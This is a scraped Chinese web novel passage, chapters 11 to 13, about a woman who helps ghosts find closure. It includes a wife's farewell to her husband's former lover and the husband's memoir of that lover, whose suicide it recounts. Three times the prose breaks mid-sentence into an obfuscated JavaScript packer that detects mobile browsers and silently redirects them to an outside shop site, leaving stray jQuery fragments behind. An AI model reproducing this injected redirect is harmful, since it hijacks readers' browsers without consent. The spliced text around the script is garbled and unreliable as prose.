陈归澜的家位于城西,格局开阔,视野极佳,透过巨大的落地窗能看见城市永不熄灭的璀璨灯火。 靠近入口和开放式厨房、客厅的区域,充满了“现在”的生活气息,属于陈归澜。随手丢在玄关柜上的车钥匙,沙发上搭着的柔软薄毯,茶几上喝了一半的矿泉水。 靠墙的书架上,大半空间依旧被一套套精装的历史、哲学、艺术类书籍占据,那是白越的领域,书脊上的鎏金字体在灯光下沉默地反着光。书架一角摆着一套拼好的造型粗犷的飞机积木,也是白越的收藏。 沙发上随意搭着一件白越的外套。她一直没有收走,任由它保持着原样,仿佛主人只是暂时离开。 整个空间,一半是陈归澜努力维持的、向前看的生活,另一半,则是她固执保留的、关于白越的,停滞在三年前的回忆。 米利安坐在沙发上,听到开门声,她抬起头。 “归澜。” 陈归澜扯起笑脸:“嗯。说有好东西要给我,是什么?” 米利安从手提包里拿出一个小册子,放在茶几上:“前几天,我妈拿回来的,让我带给你。” 陈归澜从茶几上拿起册子,翻了翻:“旅游规划?” 册子很厚实,里面大都是国内外各个城市的旅游路线规划和当地必打卡景点,图文并茂。 陈归澜笑了笑:“现在人旅游都是上网查攻略,哪里还用这个。阿姨在国外旅游,不会也是靠这个吧?” “你翻到第十页和第十一页。”米利安抬头静静地看着她,等待她的动作。 11. chapter 11 陈归澜半信半疑,将页码翻到第十页。 册子的左边是第十页,册子的右边是第十页。 册子的左边是罗马,册子的右边是巴黎。 [当您的罗马之旅临近尾声,请将最后一个黄昏留给圣天使堡。 这并非仅仅是一座古老的建筑,而是为您的“永恒之城”之行加冕的最终仪式。 当夕阳开始为罗马镀上金边,请踏上那座承载着贝尔尼尼天使雕像的圣天使桥。您脚下的,不仅是一座桥,更是一条从喧嚣世俗通往神圣永恒的通道,一场跨越两千年的告别。 登临城堡之巅,在露台上找到一个属于您的位置。台伯河水静静流淌,映照着天光云影;远方,圣彼得大教堂的穹顶在熔金般的落日中剪出庄严的轮廓。这座城市的声音渐渐沉入暮色,而它的历史与灵魂,却在此刻无比清晰、磅礴地涌向您。 您会想起斗兽场的残垣、万神殿的天光、许愿池的硬币……所有旅途中的碎片,都将在这片金色黄昏中,汇聚成名为“永恒”的完整记忆。 这不仅仅是一次观赏,更是一场与罗马的对话。您站在哈德良皇帝的陵墓之上,站在历史的终点,也是您旅途的终点,亲眼见证“永恒”如何被定义。当最后一缕阳光消失在地平线,城堡与桥梁的灯火亮起,您会明白,罗马从未离去,它已将这永恒的瞬间,烙印在您的生命里。 让圣天使堡的黄昏,成为您对罗马最深沉、最浪漫的告别。在这里,结束即是永恒。] 在页面边缘的空白处,用一种陈归澜无比熟悉的、略带潦草的笔迹,写着几行字: [提布鲁斯:“永恒之城”(UrbsAeterna),“未建成墙壁的永恒之城”,罗马。] 陈归澜顿住。 那是白越的字。 她深吸一口气,带着几乎是惶恐的心情,看向右边的第十一页。 [当您的航班降落在巴黎,请将第一个清晨留给塞纳河与新桥。 这并非只是一座巴黎最古老的桥,而是为您开启“光之城”之旅的完美序章。当晨曦为城市披上淡金色的薄纱,请踏上这座名为“新”却承载着四百年历史的石桥。您脚下的,不仅是一座桥,更是一条从现实通往梦幻的界限,一场与巴黎灵魂的初次握手。 倚在古老的石栏边,看塞纳河的波光如何被微风揉碎,看旧书商们的绿色箱柜如何伴着城市一同苏醒。左岸的咖啡馆飘来咖啡香,右岸的建筑群在朝阳中渐次清晰。巴黎的第一眼,不应是冲向某个地标的匆忙,而应是这般从容不迫的、流动的画卷。 您会看到巴黎的全部缩影:艺术的闲适、历史的厚重与生活的诗意,在此刻和谐地交融于一道水流之中。远方,巴黎圣母院的塔尖与埃菲尔铁塔的轮廓隔空相望,它们一个诉说着过去,一个昭示着未来,共同为您定义了巴黎的经纬。 这不仅仅是一次初见,更是一场收到邀请的仪式。您站在巴黎的脉搏上,站在一切浪漫与传奇的起点。当第一缕阳光彻底照亮桥头亨利四世国王的雕像,您会明白,巴黎正以它最经典、最优雅的姿态,对您说出一声:“欢迎”。 让塞纳河畔的晨光,成为您对巴黎最心动、最温柔的初遇。 在这里,开始,即是全部。] 开始,即是全部……这一页,白越没有写下一个字,就像他来不及到达的巴黎和现在。 见陈归澜看完,米利安起身,轻声道:“这是我妈在罗马的旧书摊看到的,说是像白越的字迹。你之前不是说,白越去罗马游学的时候,有一本册子落在那边的酒店?估计是被人捡到,后来又不知道怎么流入了旧书摊,我妈看到,就买回来了。” 看着陈归澜失魂落魄的样子,米利安不忍,但还是说道:“我妈让我把册子带给你,我担心你会难过,本来想扔了。但仔细想了想,还是带过来了。如果实在放不下,一辈子都放不下,那就把现在的一切都暂时放下,去走他曾经走过的路,然后再毫无牵挂地走自己的路。” “归澜,”她顿了顿,观察着陈归澜的反应,“三年了,你该往前走了。” 陈归澜看着白越的字迹沉默着,宽慰的话米利安说了三年,她知道此刻任何语言都显得苍白。她看着陈归澜依旧沉浸在悲伤与回忆中的侧影,默默叹了口气,最终只是轻轻拍了拍她的肩膀,转身离开。 - 江敬寒联系上杨安语已经过了好几天。 咖啡馆内,江敬寒和陈归澜坐在一侧,杨安语坐在另一侧。 咖啡馆的老板端了三杯咖啡过来。 她看陈归澜带朋友过来,本来想免费赠送几杯自己的新发明,但一看见这奇怪的氛围,脑子里补了一出大戏,赶紧让员工按照订单上,千万不要有任何自由发挥的成分。 “杨总,这里的咖啡还不错,试试?”江敬寒开口,打破沉重的氛围。 陈归澜看了一眼从来没在这里喝过咖啡的江敬寒,没说话。 杨安语看着面前的咖啡,轻轻搅动两圈:“二位不如有话直说吧。” 她一向看重效率,不喜欢弯弯绕绕。 陈归澜也是。 “既然杨总这么说了,那我也不兜圈子了。”陈归澜直接问,“杨总,是否认识裴书苒?” 杨安语搅动咖啡的手一顿,抬眼:“认识。” 陈归澜倒是没想到,她承认得如此果断。 “她去世了。” 杨安语皱起眉头:“什么时候的事情?” “看来,杨总不知道这件事情。” 裴书苒的事情虽然前因后果不明,但陈归澜猜测,她和杨安语大概率处于敌对关系。而江家和杨安语有合作,这件事,江敬寒出面不合适。奈何他们没有别的途径联系到杨安语,通过郑开禾更是麻烦。 陈归澜适时让江敬寒先离开咖啡馆。 “我不知道。”杨安语身体后仰,靠在沙发上,“我和她上一次见面,是两年前的事情。” 那时,杨安语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875163|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚接手家里的产业,全国各地到处飞。 “书苒……她是我丈夫的情人。” 陈归澜的手一抖,不可思议地看向杨安语,可杨安语却平静地讲述着这一切,好像出轨的不是她的丈夫,而她丈夫的情人和她是好朋友。 陈归澜默默喝了一口咖啡压惊。 海盐焦糖拿铁,老板没有乱发挥,味道还不错。 杨安语自顾自说着:“书苒是个很温柔的人。六年前,我第一次见到她的时候就知道,她其实很要强、很努力。” 陈归澜呛了一下。 六年前? 杨安语注意到陈归澜,莞尔:“是不是觉得,很意外?她作为我丈夫的情人,我提起她还这么平和。” 陈归澜点头。 何止是意外……简直是大吃一惊。 “其实,如果不是我丈夫,我应该会和书苒成为很好的朋友。你知道吗?书苒在选择离开我丈夫的时候,我邀请过书苒进我的公司,在设计上,她很有天赋。可惜……我不知道那几年书苒和我丈夫发生过什么,她离开得那么决绝,竟然连和我保持联系都不肯。” 陈归澜的三观受到了很大冲击。 作为原配,她非但不恨丈夫的情人,竟然还埋怨对方不愿意和自己保持联系!难道……陈归澜悄悄揣测起三个人的关系。 杨安语有些难过地看着陈归澜:“书苒她……是怎么走的,生病吗,还是……” “我不知道。”陈归澜试探着问,“杨总,如果……有再见一次裴书苒的机会,您会怎么选择?” “可她……”话没说完,杨安语坦白,“其实,我很想再见她一面。我想知道,离开之后,她过得好不好,会不会怨我……” 陈归澜不知道杨安语的真实想法,只能选择坦白,孤注一掷。 “杨总,我有办法让您和裴书苒再见一面,只是……”陈归澜斟酌用词,“只是,她现在的状态不太一般。” 杨安语不知道她在说些什么,只是被情感驱使着答应:“鬼魂吗?不管是什么状态,我想见她。” - 杨安语说下午还有个会要开,晚上八点,赵许一家门口见。 陈归澜提着咖啡馆老板送的两杯特调新品下楼,见江敬寒在店里等她。 “米利安和佳欣呢?”陈归澜把咖啡放在柜台上,找了把椅子坐下,“她答应了,今晚八点,赵许一家门口见。” “她俩说哪个快闪店开过来了,要去买,让我帮忙看会儿店。”江敬寒不客气地拿了一杯咖啡,“刚才看见她下楼了,好像不太开心。” 陈归澜把事情原封不动说了一遍,江敬寒越听越觉得离奇。 “我怎么感觉,郑开禾挺多余的?” 陈归澜点头:“我也觉得。” 陈归澜:“晚上你一起去吧,不过眼镜要给杨安语,她应该看不见。裴书苒现在的状态,你应该能看见轮廓了。” “嗯,能看见轮廓。” 12. chapter 12 夜色深沉,四人准时到达赵许一的房子。 站在大门前,杨安语开口:“两年前,离开北城的时候,书苒住这里,和郑开禾一起。” 即使知道了他们三个人的故事,赵许一还是觉得后背发凉。倒不是他们的关系多离谱,北城豪门圈里的故事听得多了,甚至他亲眼见证过不少,但都没有这么让他唏嘘的。 作为约定俗成的水火不容的两方,关系能这么融洽才是他所震惊的。 陈归澜、江敬寒和赵许一站在前面,杨安语跟在最后,她的指尖有些凉,微微蜷缩着。 踏上二楼的露台,一股比楼下更阴沉的寒气缠绕上来。月光勉强照亮一角,那抹熟悉的身影,比之前任何一次都要清晰,就静静地站在那里,仿佛已等待多时。 她没有看陈归澜他们,目光越过众人,落在杨安语身上。 空气仿佛凝滞了片刻。 “安语姐。”一个极轻的声音响起。 杨安语浑身一颤,眼眶瞬间就红了。 她向前走了一小步,声音哽在喉咙里,好一会儿才发出:“书苒……” 裴书苒的身影没有什么大的动作:“终于等到你了。” 她的声音依旧空茫,像是褪了色的旧信笺,只剩下一点淡淡的怅惘。 “我早该来的。”杨安语的声音很低,带着压抑的哭腔,“对不起,这么久才来看你。” “没关系。”裴书苒轻轻地说,像是叹息,“我知道你很忙,你有你的追求。这些日子,我一直在想,我们曾经一起去过的地方。你还记得后海那家奶茶店吗?你总说珍珠煮得不够软,但还是陪我去了好多次。” 杨安语的眼泪终于落下来,她用力点头:“记得。每一次去,你都只点那一种,从来不换。” “栀子花开的季节,你总会带一束给我……”裴书苒的声音渐渐低下去,带着遥远的怀念,“说花能让人换个心情。” “你走后……院子里的栀子,我再也没碰过。” 两人之间陷入短暂的沉默,仿佛一同沉进了那些被时光封存的过往里。 裴书苒的身影开始变得比之前更淡,像晨曦中即将散去的薄雾。 “安语姐,知道你过得好我就放心了。”她最后轻声说,那声音几乎要听不见,“安语姐,再见了,我也要去找我的自由了……” 话音落下,她的身影如同融入月色的水汽,悄无声息地消散了。 露台上只剩下空荡的月光,和杨安语压抑的啜泣。 陈归澜三人沉默地站在一旁。 故事的尾声比他们想象的更平淡,但也更令人唏嘘。 晚风带着恰到好处的凉意拂过,朦胧的月光穿过乌云平静地落下,远处城市的灯火闪耀着,如同散落的星辰。 杨安语整理好情绪,看向陈归澜,声音还有些颤抖。 “谢谢你。” 陈归澜实在忍不住问:“杨总,介意说一说您的故事吗?” “当然可以,只是……这个故事有点狗血、有点长。” “我出生在北城,父母一个是大学教授,一个从商。六岁那年,因为父亲公司市场的变动,我们举家南迁,到了海市,我的人生轨迹,也从那时开始改变。” “我很小就认识郑开禾了,大约在我四岁,他五岁的时候。我们两家虽然一家北城起家,一家海市起家,但是世交,有商业往来,我们家去海市拓展市场、后来他们家来北城拓展市场,都有对方的帮助。在大人眼里,我们也是门当户对的“青梅竹马”。在周围人眼里,我们天生就该在一起。” “十八岁时,我被父母送去国外读书。那是我人生中第一段真正自由的时光。在那里,我遇到了一个人,我们相恋了。他给我的感觉像南加州的阳光,炽热、无所顾忌。那是我第一次,也是最后一次,纯粹地被人爱着。” “好景不长。在我本科毕业前,父母发现了这段恋情。结果可想而知,他们无法接受一个“背景一般”的外国男孩,用最决绝的方式拆散了我们。我心灰意冷,毕业后便顺从地回了国。” “回国后,我试图抓住一点属于自己的东西,用自己积攒的钱和一点人脉,开了一间平面设计工作室,作为自己的精神堡垒。” “可堡垒终究会被炮弹轰得粉粹,要么死在堡垒里,要么死在外面。” “九年前,在父母的强硬安排下,我和郑开禾结婚。” “没有浪漫的求婚,甚至没有假装的情深意重,我们心里都清楚,这更像是一场合约,为了满足家族的期望,为了那些盘根错节的利益。” “婚礼很盛大,海市的名流都来了。” “但我只记得那年的冬天,格外的冷。” “婚后不久,我在海市街头看到了一个和我的初恋背影极其相似的人。我鬼使神差地跟了上去,发现并不是他,但那种心悸的感觉却回来了。” “后来,我认识了那个仅仅是有几分神似的人,并开始了一段隐秘的关系。我知道这不对,但那段死水般的婚姻里,我需要这点虚幻的氧气。” “六年前,我发现了郑开禾在外面也有人。很奇怪,我并没有感到愤怒或是被背叛,反而有一种荒谬的“公平了”的感觉。我们这对被强行捆绑的夫妻,终于在婚姻的假面下,各自找到了情感的宣泄口,尽管都见不得光。” “其实郑开禾和我很像,爱得炽烈,却臣服于家庭的权威,可笑的是,我们竟然都心照不宣地选择了这么不道德的方式去对抗这个权威。” “我很好奇,什么样的人会让郑开禾动心,所以,我让人私下调查,悄悄去见了她。” “她叫裴书苒,星城人,比我小四岁,比郑开禾小五岁。” “裴书苒刚见我的时候,没什么表情,淡淡的,没有小三见到原配的心虚、害怕或是耀武扬威,好像只是见了芸芸众生中的一个。” “我倒是很好奇,她到底是个什么性格的人,愿意和人保持这种不正当的关系,还一副无所谓的样子。” “我直接问了,她也直接说了。” “她说,她活得很累。” “我追问,但她不愿意多说。” “她回老家之前,我给了她一笔钱,希望在不能再见的日子里,她能过得更好,比被我们拖累的日子更好。” “直到现在,我也不知道她因为什么活得这么累,累到两年前离开郑开禾,在明知我把她当朋友的情况下还要离开,和我们斩断一切联系。” “我和海市的那个人的关系断断续续维持了很多年。” “直到两年前,我们都感到疲惫了,这种依靠影子存活的关系,终究耗尽了彼此最后一点温暖。” “我们平静地分了手。” “而我,也彻底收心,回到了这个所谓的家。” “我和郑开禾维持着表面的和平,像两个演技精湛的演员,在需要的时候出场。” “工作室成了我全部的精神寄托,成为我在公司和家里承受的所有压力的释放场所。” “有时我会想,如果当年我足够勇敢,命运是否会不同?但人生没有如果,只有一次又一次的妥协,以及妥协之后,那片无边无际的沉寂。” “实际上,如果再来一次,我还是会做一样的选择。” “巨大的利益面前,抛弃感情才是最理智的选择。” 听完杨安语的故事,陈归澜只觉得唏嘘。 三个人都是利益的牺牲品,但只有裴书苒最无辜。 “不管怎样,谢谢你们。”杨安语从回忆里抽离出来,“赵先生,是吧?很抱歉,让你买到这个房子,我也不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882754|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道我丈夫把这栋房子卖出去了。作为补偿,我希望以双倍的价格,买回这栋房子,不知你意向如何?” 能出手,赵许一自然求之不得:“当然愿意。不过,杨总不用双倍买回,原来的售价就够了。” 杨安语倒是不介意:“放心,不是我出钱,这笔我会让我丈夫还回来。” 陈归澜:“……” 还真是表面夫妻,杨安语仅剩的感情都留给裴书苒了。 赵许一:“……那就按照杨总说的办吧。” “明天我会让助理联系。十点还有个海外的会要开,我就先不打扰各位了。”杨安语欠身离开。 陈归澜:“……” 江敬寒:“……” 赵许一:“……还真是……” 赵许一找不到一个合适的词形容杨安语。他只觉得,有这样强大的心态,她做什么都会成功的。 事情结束,房子也能出手了,赵许一松了一口气:“陈大师,我可欠了你一个大人情。明天我们开个庆功宴吧?” “少来。”陈归澜白他一眼,“有什么值得庆祝的?” “归澜,就当放松吧,反正赵许一出钱。”江敬寒倒是觉得,经历这一场,陈归澜倒是没之前那么封闭了。 在心理学的认知行为疗法中,这属于行为激活,让陈归澜从简单、易完成的活动开始,比如借助已有能力帮助鬼魂,获取成就感,逐步重建健康的生活节奏。 只要陈归澜能迈出这一步,日后就更有可能与社会建立更多联系,也不枉他和米利安绞尽脑汁制定的计划。 “行,明天晚上吧。下午还约了客户。” “好。”赵许一道,“今天没开车来?我送你回去吧。” “不用了。” 见陈归澜不愿意坐赵许一的车,江敬寒开口:“我开车带你来的,得把你安全送到家,正好也顺路。” 陈归澜摇头:“真的不用。我想自己走走,反正地铁站也不远。” “好,那你注意安全,到了发信息。” 陈归澜挥挥手:“知道了,你们快回去吧。” 看两人分别开车离开,陈归澜没有朝地铁站的方向走,而是绕到别墅的左侧。 别墅的围墙外还有一圈空地,上面种了些花草树木,物业维护得还不错,但终究因为荒废已久有些杂乱。 “郑先生。”陈归澜在男人面前站定,淡淡开口。 看见陈归澜,郑开禾并不意外,只是苦涩一笑:“陈师傅。” 这里也是露台的左侧,正好可以看见一部分露台的场景。 “都看到了?”陈归澜问。 陈归澜抬头看露台的方向,正好可以看见大半个泳池上方,在这里,应该能看见裴书苒,也能看见一部分杨安语。 “看不到,只听到。”郑开禾得到陈归澜通知就匆匆赶来,藏在这个荒芜的角落。 故事的最后,裴书苒不愿见他,他便不出现。 郑开禾:“她不愿见我,或许是不希望我看见她。但是……能听到她,我心满意足……” 真的心满意足吗?郑开禾不敢肯定地说第二遍。但比起遗憾悬在心里,能听到声音总归比什么都没有要幸运。 “郑先生,裴书苒已经离开了。”陈归澜无法共情郑开禾,毕竟凶手他算其中之一,但也无法说什么重话刺激这个苍老的男人。 既然相爱,为什么会走到这一步?陈归澜想不通。 “郑先生节哀,我先走了。” 郑开禾叫住陈归澜:“陈师傅——” 陈归澜回头。 “谢谢你。”郑开禾对着陈归澜弯下身体,“谢谢你,愿意给我这个机会,和书苒正式告别。” “不用谢我,”陈归澜往外走,“是裴书苒允许你来的。” 13. chapter 13 我叫郑开禾,生于经济发达的海市。 我还没出生的时候,我爸妈就看准了商机,将全部家当投了进去,盘下海市好几块地盘。如果我当时有意识,我估计会为他俩担惊受怕,生怕家破人亡。 不过事实证明,我的确没什么商业头脑和长远眼光。后来,那个地方让一大批富人横空出世。包括我爸妈。 也因此,我从出生就没过过苦日子,心高气傲。 在我之上还有一个比我大一岁多的哥哥,他叫郑越禾。小时候,我经常和哥哥、保姆三个人在家,爸妈常年在外面跑生意,世界各地到处飞。 那个时候我对他们的商业版图还没什么概念,只知道他们很有钱,好多地方都有他们的楼,好多地方都有他们的公司,好多行业都有他们的投资。 我也不在乎这些。我只知道,我有吃不完的好吃的、玩不腻的玩具。当然,课也多到上不完。 好在我还有哥哥一起。 但是哥哥十八岁,我十七岁那年,哥哥也出国了,家里就只剩我和保姆了。 不过还好,我不用像其他人一样每天拼命学习、挑灯夜读。因为再过一年,我会和哥哥一样出国读书。 十八岁那年,我出国了,和哥哥去了同一所学校。 我本以为我们会和以前一样,偶尔打打闹闹。但是我找哥哥的时候,他跟我说,要认真学习,不要想那么多没用的。我们的使命就是学习理论、拓展人脉,然后回家继承父母的企业。 我说,我不喜欢那些。 哥哥只是笑了笑,说,过两年你就懂了。 他还说,千万不要谈恋爱。 我笑着说,我才不会呢。 在国外待了五年,我有些腻了。 这五年里,我没回过国,偶尔爸妈会过来看我和哥。 二十三岁的时候,哥哥硕士毕业回国,趁着冬假我也跟着回去了。刚回去我就遇到了高中玩得好的几个兄弟。他们有的正在国内读书,有的已经工作一年了。 虽然我们五年没见,但这丝毫不影响我们一起玩。 张艺航说,他现在正在读研的学校美女多,要带我去看看。他还调侃我,在外面看多了金发碧眼的火辣美女,想不想要清汤寡水换换口味。 我懒得理他。 他从小就这样,后来家里出事了还这样。 但不知道为什么,我还是跟着去了。 那天,他们飞盘社有活动,张艺航说带我去看。他还说飞盘社有个大一学妹很好看。 我对飞盘不感兴趣,推脱了好几次也没推掉,还是被拉着去了。 他们学校就一个足球场,一半在扔飞盘,一半在踢足球。 张艺航手舞足蹈跟我讲飞盘的规则,我坐在旁边兴致缺缺。 我也不知道为什么张艺航对飞盘这么新奇,再喜欢的东西玩了几年应该也腻了吧。 就在我晃神的时候,我看到跑道上一个扎着高马尾正在跑步的女生。 她穿着一件紫色的毛呢外套,还戴着一副白色的耳机,跑得飞快。 一阵微风吹过,她就像一朵鸢尾花,随风飘走了。 不知道跑到第几圈了,她好像有些累了,微微喘着气。 跑到旁边,她把紫色外套脱了下来,只剩一件白色的毛衣。 她笑着把紫色外套递给跑道边等她的女生,说了几句话,然后继续去跑步了。 白色的身影越来越远,然后又慢慢拉近,又再一次远去。 张艺航注意到我的心思不在他的话上,疑惑地顺着我的目光看过去,发现了那个鸢尾花女孩。 张艺航笑了笑,拍着我的肩膀调侃:“我就说你辣妹看腻了肯定想换换口味吧!” 他顿了一下,接着说:“那个女生好像叫裴什么,排球队的,技术不错。你看上她了?” “她有男朋友吗?”我顺势问了。 “这我怎么知道?”张艺航看了一眼飞盘社那边的一个人,说,“我去问问社长。” 张艺航一溜烟就跑出去了。 再看向那个鸢尾花女孩,她已经没跑了。 而是抱着紫色外套,和那个等她的女生一起走了。 我一着急,也没管张艺航那边,直接跑过去拦下了她。 “同学你好,不好意思打扰一下……” 鸢尾花女孩愣了一下,问我:“有什么事吗?” 在国外我被搭讪、告白过几次,有外国女生,也有本国人。但是当我需要自己去搭讪别人的时候,我反而有些局促。 “同学你好,我可以知道你的名字吗?” “啊?”她又愣了一下,旋即尴尬笑了笑,“不好意思,不是很方便。” 看她转身离去,她身旁那个女生还在打趣她,她有些尴尬。 我更尴尬。 或许是因为我太久没呆在国内,不太熟悉他们的套路了。 这时,张艺航跑回来了。 “一眨眼你怎么跑这儿来了?”张艺航转述他打听到的消息,“那个女生叫裴书苒,好像是学金融的。以前排球队的,排球特别厉害,但是前不久退队了。” “退队,为什么?” “听说是队长摆官威,那天几个人还起了争执,差点打起来。然后她就退队了。听说队里好几个主力那天都跟队长吵架了,但是直接退队的只有裴书苒一个人。”一边说着,张艺航还煞有其事地评价起来,“是个有血性的,佩服。” 我没理会他,问:“有她联系方式吗?” “有我在,靠谱!”张艺航拿出手机,给我转发了一串聊天记录,应该是他刚刚找的那个人转给他的。其中就有裴书苒的微信号。 我搜索联系人,跃上屏幕的是一个昵称叫“爱丽丝”的人,头像是一个我不认识的动漫人物。 她的个性签名是:永远热诚。 我犹豫了一下,还是退出了她的主页。 张艺航倒是先急了:“你倒是加她啊。” 我把手机放进兜里:“第一次见面,没必要。” “你……” 他还想说些什么,我赶紧拦住他:“就别纠结这个了,我定了位置,今天我请。晚上还约了方乐他们呢,吃完赶紧去。” “吃饭,哪儿?我们学校这地方门可罗雀,可没什么好地方,你吃得惯?” 海市大学的位置是有点偏,还不在大学城,但怎么也说不上门可罗雀,不过是他们四年吃腻了的借口罢了。我想,如果真的喜欢一道菜,别说四年,就算是四十年,也吃不腻。 “好不容易请你吃顿饭,我能马虎?跟我走就是了。” 晚上,我看着那个笑容灿烂的漫头,还是没忍住,点了添加联系人。 她很快通过了。 [你是?] [同学你好,我是今天想知道你名字的那个男生。同学你别误会,我没有恶意,只是想认识一下你。] 我斟酌半天,才发出去这句话。我生怕她转头就把我删了。 她好像也没那么抵触我。 [你好,我叫裴书苒。] [我叫郑开禾,很高兴认识你。] 自从加了裴书苒的联系方式,我隔三岔五就找她聊聊天,她也会出于礼貌回我,后来渐渐回得没那么勤了。 我也试过约她一起出去玩,她总是拒绝我,还会义正词严地说,不要对她抱有任何想法。 我总是会说,没有,只是单纯很欣赏她,没有其他想法。 但她还是对我越来越冷漠,后来礼貌回复也不怎么有了,拒绝的话也一次比一次直接。 第二年春天,我做了第一次、也是最后一次告白,她很直接地拒绝了我,然后把我删掉了。 我没办法,总不能再厚着脸皮去加她,就算加了估计也是被拒绝一次。 我也该回学校了。 我还是告别了这个城市、告别了本就不属于我的鸢尾花女孩,再次踏上那片不熟悉的土地。 这年秋天,我再次回国。这一次,我毕业了,回到这里,并且不用走了。 但是,我结婚了。 和杨安语。 杨安语是我爸合作伙伴家的女儿。我五岁的时候就认识她了。但是我们之间的交流不多,最后每年跟着父母一起吃顿饭。 听说后来她去国外读书,还交了个白人男朋友,但是被拆散了,听说,对方家里条件一般。 我不知道在长辈的眼里,什么条件算一般,也不愿意去想。 回来听说我要跟她去领证,我也拒绝过、闹过,然后我哥劝我,她也劝我。 我知道这是我的宿命。 既然我最初接受了优渥的物质条件和平常人无法比肩的生活,就注定无法抗拒一些东西的失去,感情就是这其中最不值一提的东西。 杨安语说,她不喜欢我。 她说,我们结婚之后各玩各的,不要有超出结婚证之外的任何关系。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885910|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我最终还是答应了。 在这之后不久,我和杨安语一起从海市搬到北城,接手了我爸在北城的一家公司,也过上了常年出差、不归家的日子。 三年后,我听说就业形势紧张,自然灾害频发,地震、台风、干旱……裴书苒一直过得不好。 我让张艺航联系到裴书苒当时最好的朋友,试图通过她联系到裴书苒。 我本来已经做好了再次被拒绝的准备,但是让我意外的是,她答应了。 “你认真的?”这次轮到我愣住了。 “认真的。”裴书苒抬起头,“我知道你结婚了,也知道你们只是形式婚姻。” “好。”我绷直了背,开口,“你作为我女朋友,我会给你安排地方住,每个月给你十万。” “好。” “同时,如果你要离开这里需要提前告诉我,我答应了你才能离开,不管是长期还是短期。” “好。” “我不出差的时候会住你那边。” “好。” 我沉默了片刻,问:“你还有其他条件吗?” “没有了。” 她同意当我女朋友,我却感觉心里空了一块,始终高兴不起来。 我清楚这不是单纯的恋爱关系,我也知道她不喜欢我。 那朵鸢尾花,好像飞远了,远到我看不清了。 我们在一起的日子还是很开心。 我累了,她会安慰我。偶尔我陪她出去逛街,有时候她还会鼓捣一些食物给我吃,味道怪怪的,但很好吃。 我爸年纪大了,事业开始分给我和我哥。 我每天跟所有人斡旋,被父母催着要孩子,而我正好和杨安语约法三章,婚内不会有任何关系,等到时机成熟,我们会和平分手。 为了尽快迎来那个成熟的时机,我忙到脚不沾地,整个人都快被压垮了,去找书苒的时间也越来越少。 从最开始几乎每天都腻歪在一起,到后来周末在一起,再到后来一、两个月见一次。 我再也没有多余的力气留给书苒了。 经过几年,我也有些腻了。 我觉得她一天比一天冷漠,我也一天比一天麻木。 两年前的冬天,书苒提出了分手。 我筋疲力尽,答应了。 我说,这个房子你住了四年了,留给你吧。 她说,不用了,她没有这里的户口,就不留了。 我说,那我给你买几套你老家那边的房子,北城和海市的房子没办法挂你的名,但钥匙给你,想住就住。 她说,不用了,她住不上。 我没管那么多,还是给她买了。 后来我听说,她走之前,还跟杨安语见了一面,杨安语给了她不少钱。 这四年里,她们一直有联系,我都知道。 我注意过很久,担心她们会起冲突。后来事实证明,我有看错了。 一直到最后,她们的关系都很平和。 12月,书苒回去了。 我偶尔还是会回我们一起住过四年的房子,那里还有她的痕迹。 她还在的时候,我们偶尔会起争执,偶尔会吵架。 一开始几乎都是我发脾气,后来她也会生气,然后我去哄她。 后来一年到头我们也见不了几次,也没脾气了。 现在分开了,我反而很想很想她。 但是我还是曾经那个我,失去了她的联系之后就像个废物,不敢再联系她了,事业也停滞不前。 6月12日,我听说书苒自杀了。 5月21日的事情,抑郁症。 我放下一切工作,找到了她。 这是我第一次去她的老家,她出生、成长的地方,一个人口寥寥、破败的镇子。 找当地人打听了几句,听说书苒的父亲在她很小的时候就意外去世了,肇事者跑了,赔偿金没拿到,母女俩过着紧紧巴巴的日子。 听说书苒的母亲也因病过世了,我结婚那年秋天的事情。 她火化之后被送回了老家,埋在了一棵玉兰树旁。 墓碑上的照片还是她高中毕业之后拍的,她穿着一件紫色的连衣裙,捧着一束百合花,站在镜头面前,笑得很灿烂。 跟我第一次看见她时一样灿烂。 我抬头,洁白的玉兰花开得正旺盛。 但是,鸢尾花谢了。 我的鸢尾花女孩,也永远离开了。